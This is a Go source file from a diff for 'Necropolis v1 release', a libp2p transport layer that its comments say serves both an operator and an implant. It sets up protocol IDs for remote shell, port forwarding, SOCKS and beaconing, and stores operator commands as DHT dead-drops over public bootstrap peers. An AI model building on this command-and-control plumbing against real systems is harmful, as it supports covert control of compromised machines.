Necropolis v1 release

pkg/transport/node.go

@@ -0,0 +1,511 @@
+// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
+// discovery. Used by both the operator and the implant.
+package transport
+
+import (
+	"context"
+	"fmt"
+	"log"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/libp2p/go-libp2p"
+	dht "github.com/libp2p/go-libp2p-kad-dht"
+	pubsub "github.com/libp2p/go-libp2p-pubsub"
+	"github.com/libp2p/go-libp2p/core/crypto"
+	"github.com/libp2p/go-libp2p/core/host"
+	"github.com/libp2p/go-libp2p/core/network"
+	"github.com/libp2p/go-libp2p/core/peer"
+	"github.com/libp2p/go-libp2p/core/protocol"
+	"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
+	routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
+	"github.com/libp2p/go-libp2p/p2p/host/autorelay"
+	"github.com/multiformats/go-multiaddr"
+)
+
+// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
+const (
+	NecropolisProtocolID  protocol.ID = "/x/1.0.0"
+	ShellProtocolID    protocol.ID = "/x/sh/1.0.0"
+	PortfwdProtocolID  protocol.ID = "/x/pf/1.0.0"
+	SocksProtocolID    protocol.ID = "/x/sk/1.0.0"
+	BeaconProtocolID   protocol.ID = "/bc/1.0.0"
+	CmdProtocolID      protocol.ID = "/bc/1.0.0/cmd"
+	CommandTopicPrefix  string     = "/c/"
+	BeaconTopicPrefix   string     = "/b/"
+	TaskTopicPrefix     string     = "/t/"
+	CommandsSuffix      string     = "/cx"
+	BeaconsSuffix       string     = "/bx"
+	TasksSuffix         string     = "/tx/"
+)
+
+// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
+func DefaultBootstrapAddrs() []peer.AddrInfo {
+	var out []peer.AddrInfo
+	for _, s := range defaultBootstrapPeers {
+		m, err := multiaddr.NewMultiaddr(s)
+		if err != nil {
+			continue
+		}
+		pi, err := peer.AddrInfoFromP2pAddr(m)
+		if err != nil {
+			continue
+		}
+		out = append(out, *pi)
+	}
+	return out
+}
+
+var defaultBootstrapPeers = []string{
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
+}
+
+// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
+// relay settings, DHT, mDNS, and the libp2p identity key.
+type NodeConfig struct {
+	ListenAddr         string
+	BootstrapPeers     []peer.AddrInfo
+	EnableRelay        bool
+	EnableRelayService bool
+	EnableMDNS         bool
+	EnableDHT          bool
+	RelayAddrs         []string
+	PrivateKey         crypto.PrivKey
+}
+
+// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
+// cached topics/subscriptions.
+type Node struct {
+	Host    host.Host
+	PubSub  *pubsub.PubSub
+	DHT     *dht.IpfsDHT
+	disc    *routingdiscovery.RoutingDiscovery
+	config  NodeConfig
+	topics  map[string]*pubsub.Topic
+	subs    map[string]*pubsub.Subscription
+	mu      sync.RWMutex
+	ctx     context.Context
+	cancel  context.CancelFunc
+}
+
+// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
+// and configures auto-relay if relay addresses are provided.
+func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
+	ctx, cancel := context.WithCancel(ctx)
+
+	baseOpts := []libp2p.Option{
+		libp2p.ListenAddrStrings(cfg.ListenAddr),
+	}
+
+	if cfg.PrivateKey != nil {
+		baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
+	}
+
+	if cfg.EnableRelay {
+		baseOpts = append(baseOpts, libp2p.EnableRelay())
+	}
+	if cfg.EnableRelayService {
+		baseOpts = append(baseOpts, libp2p.EnableRelayService())
+	}
+
+	var h host.Host
+	var err error
+
+	if len(cfg.RelayAddrs) > 0 {
+		if cfg.EnableDHT {
+			baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
+				autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
+					return findRelayCandidates(ctx, num, h)
+				}),
+			))
+		} else {
+			var relays []peer.AddrInfo
+			for _, s := range cfg.RelayAddrs {
+				m, err := multiaddr.NewMultiaddr(s)
+				if err != nil {
+					cancel()
+					return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
+				}
+				pi, err := peer.AddrInfoFromP2pAddr(m)
+				if err != nil {
+					cancel()
+					return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
+				}
+				relays = append(relays, *pi)
+			}
+			baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
+		}
+	} else if cfg.EnableDHT {
+		baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
+			autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
+				return findRelayCandidates(ctx, num, h)
+			}),
+		))
+	}
+
+	baseOpts = append(baseOpts, opts...)
+
+	h, err = libp2p.New(baseOpts...)
+	if err != nil {
+		cancel()
+		return nil, fmt.Errorf("create libp2p host: %w", err)
+	}
+
+	if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
+		go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
+	}
+
+	params := pubsub.DefaultGossipSubParams()
+	params.D = 6
+	params.Dlo = 4
+	params.Dhi = 12
+	params.HistoryLength = 10
+	params.HistoryGossip = 5
+	params.HeartbeatInterval = 1 * time.Second
+
+	ps, err := pubsub.NewGossipSub(ctx, h,
+		pubsub.WithPeerExchange(true),
+		pubsub.WithFloodPublish(true),
+		pubsub.WithGossipSubParams(params),
+	)
+	if err != nil {
+		cancel()
+		return nil, fmt.Errorf("create pubsub: %w", err)
+	}
+
+	n := &Node{
+		Host:   h,
+		PubSub: ps,
+		config: cfg,
+		topics: make(map[string]*pubsub.Topic),
+		subs:   make(map[string]*pubsub.Subscription),
+		ctx:    ctx,
+		cancel: cancel,
+	}
+
+	if cfg.EnableDHT {
+		d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
+			dht.ProtocolPrefix("/necropolis"),
+			dht.NamespacedValidator("necropolis", passThroughValidator{}),
+		)
+		if err != nil {
+			cancel()
+			return nil, fmt.Errorf("create dht: %w", err)
+		}
+		n.DHT = d
+		n.disc = routingdiscovery.NewRoutingDiscovery(d)
+	}
+
+	return n, nil
+}
+
+// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
+// starts mDNS if enabled.
+func (n *Node) StartDiscovery() error {
+	go func() {
+		defer func() {
+			recover()
+		}()
+		for _, pi := range n.config.BootstrapPeers {
+			connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
+			if err := n.Host.Connect(connectCtx, pi); err != nil {
+				cancel()
+				continue
+			}
+			cancel()
+		}
+	}()
+
+	if n.DHT != nil {
+		go func() {
+			defer func() {
+				recover()
+			}()
+			n.DHT.Bootstrap(n.ctx)
+		}()
+	}
+
+	if n.config.EnableMDNS {
+		svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
+		if err := svc.Start(); err != nil {
+			return fmt.Errorf("start mdns: %w", err)
+		}
+	}
+
+	return nil
+}
+
+type mdnsNotifee struct {
+	h host.Host
+}
+
+// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
+func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
+	if pi.ID == m.h.ID() {
+		return
+	}
+	for _, addr := range pi.Addrs {
+		m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
+	}
+}
+
+// Advertise registers this node under a DHT rendezvous namespace.
+func (n *Node) Advertise(ctx context.Context, ns string) error {
+	if n.disc == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	_, err := n.disc.Advertise(ctx, ns)
+	return err
+}
+
+// FindPeers performs a DHT-based peer discovery for the given namespace.
+func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
+	if n.disc == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	return n.disc.FindPeers(ctx, ns)
+}
+
+// JoinTopic joins a PubSub topic, caching the handle for reuse.
+func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
+	n.mu.Lock()
+	defer n.mu.Unlock()
+
+	if t, ok := n.topics[topic]; ok {
+		return t, nil
+	}
+
+	t, err := n.PubSub.Join(topic)
+	if err != nil {
+		return nil, fmt.Errorf("join topic %s: %w", topic, err)
+	}
+	n.topics[topic] = t
+	return t, nil
+}
+
+// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
+func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
+	n.mu.Lock()
+	defer n.mu.Unlock()
+
+	if s, ok := n.subs[topic]; ok {
+		return s, nil
+	}
+
+	t, ok := n.topics[topic]
+	if !ok {
+		var err error
+		t, err = n.PubSub.Join(topic)
+		if err != nil {
+			return nil, fmt.Errorf("join topic %s: %w", topic, err)
+		}
+		n.topics[topic] = t
+	}
+
+	sub, err := t.Subscribe()
+	if err != nil {
+		return nil, fmt.Errorf("subscribe %s: %w", topic, err)
+	}
+	n.subs[topic] = sub
+	return sub, nil
+}
+
+// Publish sends data to a PubSub topic.
+func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
+	t, err := n.JoinTopic(topic)
+	if err != nil {
+		return err
+	}
+	return t.Publish(ctx, data)
+}
+
+// ConnectToPeer establishes a libp2p connection to the given peer.
+func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
+	return n.Host.Connect(ctx, pi)
+}
+
+// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
+func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
+	n.Host.SetStreamHandler(pid, handler)
+}
+
+// NewStream opens a libp2p stream to the given peer on the given protocol.
+func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
+	return n.Host.NewStream(ctx, p, pid)
+}
+
+// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
+func (n *Node) WaitForDHT(ctx context.Context) bool {
+	for i := 0; i < 30; i++ {
+		if n.DHT.RoutingTable().Size() >= 5 {
+			return true
+		}
+		select {
+		case <-ctx.Done():
+			return false
+		case <-time.After(2 * time.Second):
+		}
+	}
+	return false
+}
+
+// Close cancels the node context, shuts down the DHT, and closes the host.
+func (n *Node) Close() error {
+	n.cancel()
+	if n.DHT != nil {
+		n.DHT.Close()
+	}
+	return n.Host.Close()
+}
+
+// Addrs returns the host's multiaddresses.
+func (n *Node) Addrs() []multiaddr.Multiaddr {
+	return n.Host.Addrs()
+}
+
+// ID returns the host's libp2p peer ID.
+func (n *Node) ID() peer.ID {
+	return n.Host.ID()
+}
+
+// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
+func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
+	if n.DHT == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	return n.DHT.PutValue(ctx, key, value)
+}
+
+// GetDHTValue retrieves the best value for key from the DHT.
+func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
+	if n.DHT == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	val, err := n.DHT.GetValue(ctx, key)
+	if err != nil {
+		return nil, err
+	}
+	return val, nil
+}
+
+// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
+// where we just need storage with no validation.
+type passThroughValidator struct{}
+
+func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
+func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
+
+// CommandDHTKey returns the DHT key for operator command dead-drops.
+// Registered under the /necropolis/ namespace via NamespacedValidator.
+func CommandDHTKey(operatorID peer.ID, nonce int64) string {
+	return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
+}
+
+// RelayRendezvousString returns the DHT namespace for relay peer discovery.
+func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
+	return "necropolis/relay/" + operatorID.String()
+}
+
+// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
+func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
+	if n.disc == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	_, err := n.disc.Advertise(ctx, ns)
+	return err
+}
+
+// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
+func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
+	if n.disc == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	peerCh, err := n.disc.FindPeers(ctx, ns)
+	if err != nil {
+		return nil, err
+	}
+	var out []peer.AddrInfo
+	for pi := range peerCh {
+		if len(pi.Addrs) == 0 {
+			continue
+		}
+		out = append(out, pi)
+		if len(out) >= limit {
+			break
+		}
+	}
+	return out, nil
+}
+
+// findRelayCandidates scans connected peers for those running circuit relay.
+func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
+	ch := make(chan peer.AddrInfo, num)
+	go func() {
+		defer func() {
+			recover()
+		}()
+		defer close(ch)
+		if h == nil {
+			return
+		}
+		for _, p := range h.Network().Peers() {
+			if len(ch) >= num {
+				return
+			}
+			protocols, err := h.Peerstore().GetProtocols(p)
+			if err != nil {
+				continue
+			}
+			for _, proto := range protocols {
+				if strings.Contains(string(proto), "circuit/relay") {
+					addrs := h.Peerstore().Addrs(p)
+					if len(addrs) > 0 {
+						select {
+						case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
+						case <-ctx.Done():
+							return
+						}
+					}
+					break
+				}
+			}
+		}
+	}()
+	return ch
+}
+
+// tryStaticRelayConnections attempts to connect to each static relay address in the config.
+func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
+	for _, s := range relayAddrs {
+		m, err := multiaddr.NewMultiaddr(s)
+		if err != nil {
+			log.Printf("[node] parse relay addr %q: %v", s, err)
+			continue
+		}
+		pi, err := peer.AddrInfoFromP2pAddr(m)
+		if err != nil {
+			log.Printf("[node] parse relay peer %q: %v", s, err)
+			continue
+		}
+		connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
+		err = h.Connect(connCtx, *pi)
+		cancel()
+		if err != nil {
+			log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
+			continue
+		}
+		log.Printf("[node] connected to relay %s", pi.ID.String())
+	}
+}
+
+
+
+